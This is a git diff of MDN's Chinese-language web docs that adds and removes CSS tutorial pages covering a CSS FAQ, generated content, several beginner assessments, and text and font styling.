+"http://www.w3.org/TR/html4/loose.dtd">
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+ +

为什么我有效的css完全没有被渲染? 

+ +

为了使浏览器渲染样式文件,CSS样式表必须用text/css的MIME。如果Web服务器不服务于这种类型,则CSS也不会被应用。

+ +

id和class有什么不同?

+ +

HTML元素可以拥有一个id/或class属性。 id属性为元素指定应用一个有效名称,只能有一个具有该名称的元素。class属性指定一个类名的元素,而这个名称可以被页面内的许多元素被使用。 CSS允许你可以对特定的id和/或类名的元素应用样式。
+
+ 当你想给一个特定元素或块应用样式规则时就使用ID选择符。此样式将只用于与该特定id匹配的元素。

+ +


+ 当你想要将样式规则应用于多个块和元素时,你应该使用class选择符。

+ +

较少样式的样式表通常性能更高。因此建议尽可能多地使用类, 保留id作为特定用途 (比如链接label标签和form元素或者为语义上唯一的元素应用样式)。

+ +

查看 CSS selectors

+ +

我如何还原属性的默认值?

+ +

最初CSS没有提供“defaule”关键字和还原默认属性的值,唯一途径是显式地重新声明该属性。

+ +

与CSS2相比,已经发生了改变。 关键字 initial 现在是一个有效的CSS属性。它将给定的CSS属性值重置为默认值。

+ +

我如何才可以从一个样式中衍生出另一种样式?

+ +

CSS 不允许这样做。(See Eric Meyer's note about the Working Group's stance). 但是,将多个类分配给单个元素,可以提供相同的效果。

+ +

我该如何给一个元素分配多个类?

+ +

HTML元素可以通过列出的类属性,用空格分开它们。

+ +
<style type="text/css">
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+</style>
+
+<div class="news today">
+... content of today's news ...
+</div>
+
+ +

如果相同的属性中声明的规则,解决冲突首先通过特异性,然后根据CSS声明的顺序。在class属性类的顺序是不相关的。

+ +

为什么我的样式规则不能正确地工作?

+ +

在语法上正确的样式规则可能在某些情况下不适用。你可以使用 DOM Inspector's CSS Style Rules 调试这类问题。 下面列出了最常见的忽略样式规则的实例:

+ +

HTML元素层次结构

+ +

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

+ +
.news { color: black; }
+.corpName { font-weight: bold; color: red; }
+
+<!-- news item text is black, but corporate name is red and in bold -->
+<div class="news">
+   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
+</div>
+
+ +

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

+ +

显式重定义样式规则

+ +

In CSS stylesheets, order is important. If you define a rule and then you re-define the same rule, the last definition is used.

+ +
#stockTicker { font-weight: bold; }
+.stockSymbol { color: red; }
+/*  other rules             */
+/*  other rules             */
+/*  other rules             */
+.stockSymbol { font-weight: normal; }
+
+<!-- most text is in bold, except "GE", which is red and not bold -->
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.

+ +

使用便捷属性

+ +

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.

+ +
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.stockSymbol { font: 14px Arial; color: red; }
+
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

+ +
#stockTicker {
+   font-weight: bold;
+   font: 12px Verdana;  /* font-weight is now normal */
+}
+
+ +

使用 * 选择器

+ +

The * wildcard selector refers to any element, and it has to be used with particular care.

+ +
body * { font-weight: normal; }
+#stockTicker { font: 12px Verdana; }
+.corpName { font-weight: bold; }
+.stockUp { color: red; }
+
+<div id="section">
+   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
+</div>
+
+ +

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

+ +

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

+ +

CSS 中的优先级

+ +

When multiples rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.

+ +
div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+<div id="orange" class="green" style="color: red;">This is red</div>
+
+ +

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3

+ +

 -moz-*, -ms-*, -webkit-*, -o-* 以及 -khtml-* 属性有什么用?

+ +

These  properties, called prefixed properties, are extension to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

+ +

The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolve.

+ +

Please see the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

+ +

z-index 属性与定位有什么关系?

+ +

z-index属性指定了元素的栈序。

+ +

有较高z-index/栈序的元素总是在有着较低z-index/栈序的元素之前。

+ +

z-index只会在有着指定position (position:absolute, position:relative, or position:fixed)的元素上工作。

diff --git a/files/zh-cn/learn/css/howto/generated_content/index.html b/files/zh-cn/learn/css/howto/generated_content/index.html new file mode 100644 index 0000000000..f3f9a0797b --- /dev/null +++ b/files/zh-cn/learn/css/howto/generated_content/index.html @@ -0,0 +1,160 @@ +--- +title: Content +slug: Web/Guide/CSS/Getting_started/Content +translation_of: Learn/CSS/Howto/Generated_content +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Color", "颜色") }}这是 CSS 入门教程的第9部分,介绍了一些通过CSS改变文档内容的方法。这样,仅修改样式表你就能把文本内容及图片添加到文档。

+ +

信息: 内容

+ +

CSS的一个重要优势是它可以帮助你将文档内容和其样式分离。但是有时候在样式而非文档中定义一些内容也是很有用的。

+ +

在样式中可以定义文本内容和图片内容。当内容与文档结构紧密相关的时候,你可以在样式表中指定内容。

+ +
+
更多细节
+ +

在样式表中指定内容会使事情变得复杂:你可能有多个语言版本的文档共享同一个样式表。如果样式表的一部分需要翻译,这就意味着你需要将这部分单独保存在多个样式表中,并在不同语言的文档中引用。

+ +

如果你指定的内容由通用符号和图片组成的话,就不存在这个问题。

+ +

样式表中指定的内容不会成为DOM的一部分。

+
+ +

文本内容

+ +

CSS可以在元素的前后插入文本:在选择器的后面加上{{ cssxref("::before") }} 或者 {{ cssxref("::after") }} 。在声明中,指定 {{ cssxref("content") }} 属性,并设置文本内容。

+ +
+
+ +

下面这条规则在所有类名包含 ref的元素前面加上 Reference:

+ +
.ref::before {
+  font-weight: bold;
+  color: navy;
+  content: "Reference: ";
+}
+
+
+ +
+
更多细节
+ +

样式表默认使用UTF-8字符集。也可以通过link属性或样式表以及其他方式指定。 参见 CSS规范中 4.4 CSS style sheet representation

+ +

还可以通过转义机制(通过反斜杠转义)指定单个字符。比如, \265B 是国际象棋黑皇后的符号 ♛。更多参见 Referring to characters not represented in a character encoding 和CSS规范中的 Characters and case

+
+ +

图片内容

+ +

可以通过将{{ cssxref("content") }} 属性值设置为某个图片的URL,可以将图片插到元素的前面或后面。

+ +
+
+ +

下面这条规则在所有类名包含glossary的a标签后面插入一个空格和一个图标:

+ +
a.glossary::after {content: " " url("../images/glossary-icon.gif");}
+
+
+ +

将图片设置成元素的背景图:将 {{ cssxref("background") }} 的值设为图片的URL。这是同时设置背景颜色,背景图,图片如何重复等的快捷写法。

+ +
+
+ +

这条规则通过指定图片URL设置特定元素的背景。

+ +

这是一个ID选择器;no-repeat表示背景图只出现一次,不重复:

+ +
#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
+
+
+ +
+
更多细节
+ +

了解更多影响背景图的属性,以及其他背景图选项,参见 {{ cssxref("background") }} 。

+
+ +

实践: 添加背景图片

+ +

这幅图是一个白方块,底部有一条蓝色实线:

+ + + + + + + +
Image:Blue-rule.png
+ +
    +
  1. 下载上图放到CSS同目录下
  2. +
  3. 编辑CSS文件,为body设置背景图. +
    background: url("Blue-rule.png");
    +
    + +

    背景图默认是 repeat(重复)的,无需明确指出。图片在水平和垂直方向重复,最终呈现出横格纸的效果:

    + +
    +

    Image:Blue-rule-ground.png

    + +
    +
    +

    Cascading Style Sheets

    +
    + +
    +

    Cascading Style Sheets

    +
    +
    +
    +
  4. +
+ +
+
挑战
+ +

下载图片:

+ + + + + + + +
Image:Yellow-pin.png
+ +

在样式表中增加一条规则,使得每行前面显示上面的图标

+ +
+

Image:Blue-rule-ground.png

+ +
+
image:Yellow-pin.png Cascading Style Sheets
+ +
image:Yellow-pin.png Cascading Style Sheets
+
+
+ +
+
Possible solution
+ +

Add this rule to your stylesheet:

+ +
p:before{
+  content: url("yellow-pin.png");
+}
+
+ +

 

+Hide solution
+答案.
+ +

接下来?

+ +

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Lists", "列表") }}列表是一种常见的为列表元素添加内容的方式。下节将介绍如何 为列表元素指定样式

diff --git a/files/zh-cn/learn/css/introduction_to_css/fundamental_css_comprehension/index.html b/files/zh-cn/learn/css/introduction_to_css/fundamental_css_comprehension/index.html deleted file mode 100644 index b246af87fe..0000000000 --- a/files/zh-cn/learn/css/introduction_to_css/fundamental_css_comprehension/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: 基本的CSS理解 -slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension -tags: - - 初学者 - - 盒模型 - - 评估 - - 选择器 -translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}
- -

你已经在这个模块中了解到了很多内容, 所以当你达到这个模块的最后一篇文章的时候,感觉一定非常不错吧!在你继续之前的最后一步,就是完成对于这个模块的测验。本次测验涉及到几个相关的练习,你必须按顺序完成,这样你才能设计出最终的成品:一张名片/游戏玩家卡片/社交媒体的简介。

- - - - - - - - - - - - -
学习本章的前提条件:在尝试这个测验之前,你应该已经完成了这个模块中所有文章的学习。
目标:来测试对 CSS 理论、语法、功能性的基本理解。
- -

起点

- -

在开始测验之前,你应该:

- - - -
-

注意: 另外, 你可以使用一个网站比如 JSBin 或 Thimble 来做你的测验。你可以复制 HTML 和 CSS 到其中一个在线编辑器中,以及使用这个 this URL 来让 <img> 显示图片。如果你使用的在线编辑器无法让你链接 CSS 文件 (没有单独的 CSS 面板),你也可以将 CSS 直接放入<style> 元素中。

-
- -

项目概要

- -

我们已经为你提供了一些原始的 HTML 和一张图片,然后需要编写必要的 CSS 来让其成为一个漂亮的网上小名片,可能大小是游戏玩家卡片或社交媒体简介的两倍。下面的段落描述了你需要做的事情。

- -

基本设置:

- - - -

关注我们为你提供的选择器和规则集:

- - - -

你需要写的新规则:

- - - -
-

注意: 记住第二条规则集会将 font-size: 10px; 设置在 <html> 元素上 — 这意味着 <html> 的任何后代中,一个em将会等于10px而不是默认的 16px 。(这是当然的,如果在层次结构中,有不同的 font-size 设置于其上,问题中的后代没有任何的祖先位于 em元素和 <html> 之间。这可能会影响您所需要的值,尽管在这个简单的示例中,这不是问题。)

-
- -

其他事情要考虑:

- - - -

注意和提示

- - - -

示例

- -

完成的设计应如下图所示:

- -

A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image.

- -

评估

- -

如果您将此评估作为有组织的课程的一部分,您应该能够将您的工作交给您的老师/导师进行打分。 如果您是自学的,那么您可以通过询问  Learning Area Discourse thread, 或在 #mdn的IRC频道 Mozilla IRC 中轻松获得打分指南. 首先尝试练习 - 作弊学不到什么!

- -

{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}

- -

在本单元中

- - diff --git a/files/zh-cn/learn/css/styling_boxes/a_cool_looking_box/index.html b/files/zh-cn/learn/css/styling_boxes/a_cool_looking_box/index.html deleted file mode 100644 index 6ddd1d114b..0000000000 --- a/files/zh-cn/learn/css/styling_boxes/a_cool_looking_box/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: 一个漂亮的盒子 -slug: Learn/CSS/Styling_boxes/A_cool_looking_box -translation_of: Learn/CSS/Building_blocks/A_cool_looking_box ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}
- -

在这个评估里,通过尝试创造一个引人瞩目的盒子,你将得到更多关于如何创造酷炫盒子的练习。

- - - - - - - - - - - - -
前提条件:在开始这个评估之前你应该已经学习过这个模块里的所有其他文章。
目的:测试对CSS盒模型和其他盒相关特性的掌握程度,比如背景和边框。
- -

起点

- -

在开始评估之前,你需要:

- - - -
-

提醒:或者你也可以用JSBinThimble这样的网站来做这个评估,把链接里的HTML和CSS代码贴到这些在线编辑器里就行。如果你在用的在线编辑器没有独立的CSS面板的话,把CSS代码放到HTML文档头部的<style>元素里就好。

-
- -

项目简介

- -

你的任务是创建一个酷炫的盒子,并探索CSS的乐趣。

- -

一般任务

- - - -

样式化盒子

- -

给{{htmlelement("p")}}添加样式:

- - - -

范例

- -

完成之后的盒子可能会像下面的截图这样:

- -

- -

评估

- -

如果这个评估是一系列课程的一部分,你应该可以让你的老师或导师为你批改。 如果你是自学,可以很容易地在Learning Area Discourse threadMozilla IRC#mdn IRC频道回复得到批改指南。请先自己试着做——作弊学不到任何东西!

- -

{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}

- -

在这个模块里

- - - -

​​​ 

diff --git a/files/zh-cn/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html b/files/zh-cn/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html deleted file mode 100644 index 692071dfde..0000000000 --- a/files/zh-cn/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: 创建精美的信纸 -slug: Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper -translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}
- -

如果你想给人留下好印象,把信写在一张精美的信纸上会是个不错的开始,在这个评估里我们希望你能创建一个在线模版来达到这样的效果。

- - - - - - - - - - - - -
前提条件:在开始这个评估之前你应该已经学习过这个模块里的所有其他文章。
目的:测试对CSS盒模型和其他盒相关特性的掌握程度,比如实现背景等。
- -

起点

- -

在开始评估之前,你需要:

- - - -
-

提醒:或者你也可以用JSBinThimble这样的网站来做这个评估,把链接里的HTML和CSS代码贴到这些在线编辑器里就行。如果你在用的在线编辑器没有独立的CSS面板的话,把CSS代码放到HTML文档头部的<style>元素里就好。

-
- -

项目简介

- -

你已经有了创建一个信纸模版所需的所有文件,只需把它们放到一起就好。为了达到目标,你需要:

- -

信纸主体

- - - -

标志

- - - -

提示和技巧

- - - -

范例

- -

完成之后的信纸可能会像下面的截图这样:

- -

- -

 

- -

评估

- -

如果这个评估是一系列课程的一部分,你应该可以让你的老师或导师为你批改。 如果你是自学,可以很容易地在 discussion thread for this exercise 或Mozilla IRC#mdn IRC频道回复得到批改指南。请先自己试着做——作弊学不到任何东西!

- -

{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}

- -

 

- -

在这个模块里

- - - -

 

diff --git a/files/zh-cn/learn/css/styling_text/fundamentals/index.html b/files/zh-cn/learn/css/styling_text/fundamentals/index.html new file mode 100644 index 0000000000..45660a9532 --- /dev/null +++ b/files/zh-cn/learn/css/styling_text/fundamentals/index.html @@ -0,0 +1,727 @@ +--- +title: 基本文本和字体样式 +slug: Learn/CSS/为文本添加样式/Fundamentals +tags: + - 初学者 + - 对齐 + - 文本 + - 样式 + - 间距 +translation_of: Learn/CSS/Styling_text/Fundamentals +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}
+ +

在这篇文章中,我们将带你开始掌握 {{glossary("CSS")}} 的文字样式的旅程。这里我们将详细介绍文本/字体样式的所有基本原理,包括设置文字的粗细,字体和样式,文字的属性简写,文字的对齐,和其他效果,以及行和字母间距。

+ + + + + + + + + + + + +
先决条件:基本的电脑操作,HTML 基础 (学习 Introduction to HTML),CSS 基础 (学习 Introduction to CSS).
目的:了解在网页上设计文本所需的基本属性和技术。
+ +

CSS中的文字样式涉及什么?

+ +

正如你已经在你使用 HTML 和 CSS 完成工作时所经历的一样,元素中的文本是布置在元素的内容框中。以内容区域的左上角作为起点 (或者是右上角,是在 RTL 语言的情况下),一直延续到行的结束部分。一旦达到行的尽头,它就会进到下一行,然后继续,再接着下一行,直到所有内容都放入了盒子中。文本内容表现地像一些内联元素,被布置到相邻的行上,除非到达了行的尽头,否则不会换行,或者你想强制地,手动地造成换行的话,你可以使用 {{htmlelement("br")}} 元素。

+ +
+

注意: 如果上面的段落让你感到困惑,没关系,在继续之前,可以重新看看我们的 Box model 文件,复习框模型的理论。

+
+ +

用于样式文本的 CSS 属性通常可以分为两类,我们将在本文中分别观察。

+ + + +
+

注意: 请记住,包含在元素中的文本是作为一个单一的实体。你不能将文字其中一部分选中或添加样式,如果你要这么做,那么你必须要用适合的元素来包装它们,比如 ( {{htmlelement("span")}} 或者 {{htmlelement("strong")}}), 或者使用伪元素,像::first-letter (选中元素文本的第一个字母), ::first-line (选中元素文本的第一行), 或者 ::selection (当前光标双击选中的文本)

+
+ +

字体

+ +

我们直接来看看样式字体的属性。在这个例子中,我们会在一个相同的 HTML 示例中应用一些不同的 CSS 属性,就像这样:

+ +
<h1>Tommy the cat</h1>
+
+<p>I remember as if it were a meal ago...</p>
+
+<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.</p>
+ +

你可以在这找到完成版本 finished example on Github (也可以看源码 the source code.)

+ +

颜色

+ +

{{cssxref("color")}} 属性设置选中元素的前景内容的颜色 (通常指文本,不过也包含一些其他东西,或者是使用 {{cssxref("text-decoration")}} 属性放置在文本下方或上方的线 (underline overline)。

+ +

color 也可以接受任何合法的 CSS 颜色单位, 比如:

+ +
p {
+  color: red;
+}
+ +

这将导致段落变为红色,而不是标准的浏览器默认的黑色,如下所示:

+ + + +

{{ EmbedLiveSample('颜色', '100%', 220) }}

+ +

字体种类

+ +

要在你的文本上设置一个不同的字体,你可以使用 {{cssxref("font-family")}}  属性,这个允许你为浏览器指定一个字体 (或者一个字体的列表),然后浏览器可以将这种字体应用到选中的元素上。浏览器只会把在当前机器上可用的字体应用到当前正在访问的网站上;如果字体不可用,那么就会用浏览器默认的字体代替 {{anch("Default fonts", "default font")}}. 下面是一个简单的例子:

+ +
p {
+  font-family: arial;
+}
+ +

这段语句使所有在页面上的段落都采用 arial 字体,这个字体可在任何电脑上找到。

+ +

网页安全字体

+ +

说到字体可用性,只有某几个字体通常可以应用到所有系统,因此可以毫无顾忌地使用。这些都是所谓的 网页安全字体

+ +

大多数时候,作为网页开发者,我们希望对用于显示我们的文本内容的字体有更具体的控制。问题在于,需要一个方法来知道当前正在浏览我们的网站网页的电脑,它有哪些可用字体。我们并不是总能在每种情况下都知道这一点,但是网络安全字体在几乎所有最常用的操作系统(Windows,Mac,最常见的Linux发行版,Android和iOS版本)中都可用。

+ +

实际的Web安全字体列表将随着操作系统的发展而改变,但是可以认为下面的字体是网页安全的,至少对于现在来说 (它们中的许多都非常流行,这要感谢微软在90年代末和21世纪初期的倡议Core fonts for the Web ):

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
字体名称泛型注意
Arialsans-serif通常认为最佳做法还是添加 Helvetica 作为 Arial 的首选替代品,尽管它们的字体面几乎相同,但 Helvetica 被认为具有更好的形状,即使Arial更广泛地可用。
Courier Newmonospace某些操作系统有一个 Courier New 字体的替代(可能较旧的)版本叫Courier。使用Courier New作为Courier的首选替代方案,被认为是最佳做法。
Georgiaserif
Times New Romanserif某些操作系统有一个 Times New Roman 字体的替代(可能较旧的)版本叫 Times。使用Times作为Times New Roman的首选替代方案,被认为是最佳做法。
Trebuchet MSsans-serif您应该小心使用这种字体——它在移动操作系统上并不广泛。
Verdanasans-serif
+ +
+

注意: 在各种资源中,cssfontstack.com 网站维护了一个可用在 Windows 和 Mac 操作系统上使用的网页安全字体的列表,这可以帮助决策网站的安全性。

+
+ +
+

注意: 有一个可以下载来自一个网页的自定义字体的方法,允许你通过任何你想要的方法来定制你使用的字体:网页字体。这个有一点复杂,我们将在这个模块中的另一篇文章中讨论这一点。

+
+ +

默认字体

+ +

CSS 定义了 5 个常用的字体名称:  serifsans-serif, monospace, cursive,和 fantasy. 这些都是非常通用的,当使用这些通用名称时,使用的字体完全取决于每个浏览器,而且它们所运行的每个操作系统也会有所不同。这是一种糟糕的情况,浏览器会尽力提供一个看上去合适的字体。 serif, sans-serif 和 monospace 是比较好预测的,默认的情况应该比较合理,另一方面,cursive 和 fantasy 是不太好预测的,我们建议使用它们的时候应该稍微注意一些,多多测试。

+ +

五个名称定义如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称定义示例
serif有衬线的字体 (衬线一词是指字体笔画尾端的小装饰,存在于某些印刷体字体中)My big red elephant
sans-serif没有衬线的字体。My big red elephant
monospace每个字符具有相同宽度的字体,通常用于代码列表。My big red elephant
cursive用于模拟笔迹的字体,具有流动的连接笔画。My big red elephant
fantasy用来装饰的字体My big red elephant
+ +

字体栈

+ +

由于你无法保证你想在你的网页上使用的字体的可用性 (甚至一个网络字体可能由于某些原因而出错), 你可以提供一个字体栈 (font stack),这样的话,浏览器就有多种字体可以选择了。只需包含一个font-family属性,其值由几个用逗号分离的字体名称组成。比如

+ +
p {
+  font-family: "Trebuchet MS", Verdana, sans-serif;
+}
+ +

在这种情况下,浏览器从列表的第一个开始,然后查看在当前机器中,这个字体是否可用。如果可用,就把这个字体应用到选中的元素中。如果不可用,它就移到列表中的下一个字体,然后再检查。

+ +

在字体栈的最后提供一个合适的通用的字体名称是个不错的办法,这样的话,即使列出的字体都无法使用,浏览器至少可以提供一个还算合适的选择。为了强调这一点,如果没有其他选项可用,那么段落将被赋予浏览器的默认衬线字体 - 通常是Time New Roman - 这对于 sans-serif 字体是不利的!

+ +
+

注意: 有一些字体名称不止一个单词,比如Trebuchet MS ,那么就需要用引号包裹。

+
+ +

一个使用 font-family 的例子

+ +

让我们把它添加到之前的例子上,给段落一个 sans-serif 的字体。

+ +
p {
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

这给我们以下结果:

+ + + +

{{ EmbedLiveSample('一个使用_font-family_的例子', '100%', 220) }}

+ +

字体大小

+ +

在我们之前的模块中的CSS values and units 文章,我们回顾了length and size units. 字体大小 (通过 {{cssxref("font-size")}} 属性设置) 可以取大多数这些单位的值 (以及其他,比如百分比 percentages),然而你在调整字体大小时,最常用的单位是:

+ + + +

元素的 font-size 属性是从该元素的父元素继承的。所以这一切都是从整个文档的根元素——{{htmlelement("html")}}开始,浏览器的 font-size 标准设置的值为 16px。在根元素中的任何段落 (或者那些浏览器没有设置默认大小的元素),会有一个最终的大小值:16px。其他元素也许有默认的大小,比如 {{htmlelement("h1")}} 元素有一个 2em 的默认值,所以它的最终大小值为 32px。当你开始更改嵌套元素的字体大小时,事情会变得棘手。比如,如果你有一个 {{htmlelement("article")}} 元素在你的页面上,然后设置它的 font-size 为 1.5em (通过计算,可以得到大小为 24px),然后想让 <article> 元素中的段落获得一个计算值为 20px 的大小,那么你应该使用多少 em。

+ +
<!-- document base font-size is 16px -->
+<article> <!-- If my font-size is 1.5em -->
+  <p>My paragraph</p> <!-- How do I compute to 20px font-size? -->
+</article>
+ +

你需要将 em 的值设置为 20/24, 或者 0.83333333em. 这个计算可能比较复杂,所以当你设置的时候,你需要仔细一些。如果可以使用 rem 的话,那实现起来就变得简单不少,避免在可能的情况下设置容器元素的字体大小。

+ +

一个简单的 size 示例

+ +

当调整你的文本大小时,将文档(document)的基础  font-size 设置为10px往往是个不错的主意,这样之后的计算会变得简单,所需要的 (r)em 值就是想得到的像素的值除以 10,而不是 16。做完这个之后,你可以简单地调整在你的 HTML 中你想调整的不同类型文本的字体大小。在样式表的指定区域列出所有font-size的规则集是一个好主意,这样它们就可以很容易被找到。

+ +

我们的新结果是这样的:

+ + + +
html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

{{ EmbedLiveSample('字体大小', '100%', 220) }}

+ +

字体样式,字体粗细,文本转换和文本装饰

+ +

CSS 提供了 4 种常用的属性来改变文本的样子:

+ + + +

我们来看一下这几个属性添加到我们的例子中:

+ +

我们的新结果是这样的:

+ + + +
html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

{{ EmbedLiveSample('字体样式,字体粗细,文本转换和文本装饰', '100%', 220) }}

+ +

文字阴影

+ +

你可以为你的文本应用阴影,使用 {{cssxref("text-shadow")}} 属性。这最多需要 4 个值,如下例所示:

+ +
text-shadow: 4px 4px 5px red;
+ +

4 个属性如下:

+ +
    +
  1. 阴影与原始文本的水平偏移,可以使用大多数的 CSS 单位 length and size units, 但是 px 是比较合适的。这个值必须指定。
  2. +
  3. 阴影与原始文本的垂直偏移;效果基本上就像水平偏移,除了它向上/向下移动阴影,而不是左/右。这个值必须指定。
  4. +
  5. 模糊半径 - 更高的值意味着阴影分散得更广泛。如果不包含此值,则默认为0,这意味着没有模糊。可以使用大多数的 CSS 单位 length and size units.
  6. +
  7. 阴影的基础颜色,可以使用大多数的 CSS 颜色单位 CSS color unit. 如果没有指定,默认为 black.
  8. +
+ +
+

注意: 正偏移值可以向右移动阴影,但也可以使用负偏移值来左右移动阴影,例如 -1px -1px.

+
+ +

多种阴影

+ +

您可以通过包含以逗号分隔的多个阴影值,将多个阴影应用于同一文本,例如:

+ +
text-shadow: -1px -1px 1px #aaa,
+             0px 4px 1px rgba(0,0,0,0.5),
+             4px 4px 5px rgba(0,0,0,0.7),
+             0px 0px 7px rgba(0,0,0,0.4);
+ +

如果我们把这个样式应用到我们 "Tommy the cat" 示例中的 {{htmlelement("h1")}} 元素,就像这样:

+ + + +

{{ EmbedLiveSample('多种阴影', '100%', 220) }}

+ +
+

注意: 你可以看到更多有趣的关于 text-shadow 使用的示例在 Moonlighting with CSS text-shadow.

+
+ +

文本布局

+ +

有了基本的字体属性,我们来看看我们可以用来影响文本布局的属性。

+ +

文本对齐

+ +

 {{cssxref("text-align")}} 属性用来控制文本如何和它所在的内容盒子对齐。可用值如下,并且在与常规文字处理器应用程序中的工作方式几乎相同:

+ + + +

如果我们应用 text-align: center; 到我们例子中的 {{htmlelement("h1")}} 元素中,结果如下:

+ + + +

{{ EmbedLiveSample('文本对齐', '100%', 220) }}

+ +

行高

+ +

 {{cssxref("line-height")}} 属性设置文本每行之间的高,可以接受大多数单位 length and size units,不过也可以设置一个无单位的值,作为乘数,通常这种是比较好的做法。无单位的值乘以 {{cssxref("font-size")}} 来获得 line-height。当行与行之间拉开空间,正文文本通常看起来更好更容易阅读。推荐的行高大约是 1.5–2 (双倍间距。) 所以要把我们的文本行高设置为字体高度的1.5倍,你可以使用这个:

+ +
line-height: 1.5;
+ +

把这个样式应用到我们示例中的 {{htmlelement("p")}} 元素,结果如下:

+ + + +

{{ EmbedLiveSample('行高', '100%', 250) }}

+ +

字母和单词间距

+ +

{{cssxref("letter-spacing")}} 和 {{cssxref("word-spacing")}} 属性允许你设置你的文本中的字母与字母之间的间距、或是单词与单词之间的间距。你不会经常使用它们,但是可能可以通过它们,来获得一个特定的外观,或者让较为密集的文字更加可读。它们可以接受大多数单位 length and size units.

+ +

所以作为例子,如果我们把这个样式应用到我们的示例中的 {{htmlelement("p")}} 段落的第一行:

+ +
p::first-line {
+  letter-spacing: 2px;
+  word-spacing: 4px;
+}
+ +

我们会得到下面的结果:

+ + + +

{{ EmbedLiveSample('字母和字间距', '100%', 250) }}

+ +

其他一些值得看一下的属性

+ +

以上属性让你了解如何开始在网页上设置文本, 但是你可以使用更多的属性。我们只是想介绍最重要的。一旦你习惯使用上面的内容,你还应该探索以下几点:

+ +

Font 样式:

+ + + +

文本布局样式:

+ + + +

Font 简写

+ +

